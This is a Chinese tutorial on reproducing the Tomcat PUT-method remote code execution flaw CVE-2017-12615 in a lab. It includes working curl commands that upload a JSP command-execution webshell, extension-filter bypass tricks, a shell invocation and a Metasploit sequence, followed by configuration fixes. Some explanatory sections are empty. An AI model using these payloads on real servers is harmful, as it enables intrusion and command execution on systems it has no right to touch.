您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行Tomcat远程代码执行漏洞CVE-2017-12615复现
## 漏洞概述
CVE-2017-12615是Apache Tomcat服务器中的一个高危远程代码执行漏洞,影响版本为Tomcat 7.x至7.0.81(默认配置下)。该漏洞源于HTTP PUT方法的不当处理,攻击者可通过构造恶意请求上传JSP文件,最终实现任意代码执行。
### 影响版本
- Apache Tomcat 7.0.x ≤ 7.0.81(默认配置)
- 需满足以下条件:
- 启用了HTTP PUT方法(默认禁用)
- 未配置`readonly="true"`参数
## 环境搭建
### 实验环境要求
- 靶机:Ubuntu 20.04 + Tomcat 7.0.81
- 攻击机:Kali Linux 2023
- 网络:同一局域网或Docker环境
### 靶机部署步骤
```bash
# 下载受影响版本Tomcat
wget https://archive.apache.org/dist/tomcat/tomcat-7/v7.0.81/bin/apache-tomcat-7.0.81.tar.gz
# 解压并配置
tar -zxvf apache-tomcat-7.0.81.tar.gz
cd apache-tomcat-7.0.81/conf
# 修改web.xml启用PUT方法
sed -i 's/<readonly>true<\/readonly>/<readonly>false<\/readonly>/' web.xml
# 启动Tomcat
../bin/startup.sh
使用curl发送测试请求:
curl -X PUT http://192.168.1.100:8080/test.txt -d "Hello CVE-2017-12615"
若返回HTTP/1.1 201 Created,说明PUT方法已启用。
Tomcat会拦截直接上传的.jsp文件,需使用以下技巧绕过: 1. 斜杠后缀绕过:
curl -X PUT http://192.168.1.100:8080/shell.jsp/ -d "<%=Runtime.getRuntime().exec(request.getParameter(\"cmd\"))%>"
curl -X PUT http://192.168.1.100:8080/shell.jsp%20 -d "<jsp-code>"
访问上传的JSP文件并执行命令:
http://192.168.1.100:8080/shell.jsp?cmd=id
应返回当前用户的UID信息。
PUT方法处理缺陷:
JSP编译机制:
安全配置 | 漏洞状态 |
---|---|
readonly=true | 不可利用 |
readonly=false | 可被利用 |
启用PUT方法 | 必要条件 |
关闭PUT方法(conf/web.xml):
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
添加Filter限制上传扩展名:
<filter>
<filter-name>UploadFilter</filter-name>
<filter-class>com.example.UploadFilter</filter-class>
</filter>
msfconsole
use exploit/multi/http/tomcat_jsp_upload_bypass
set RHOSTS 192.168.1.100
set RPORT 8080
exploit
”`
注:实际复现时建议使用隔离的虚拟机环境,本文所述IP地址均为示例。完整复现过程约需30-45分钟,包含环境搭建、漏洞验证和防护测试三个主要阶段。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。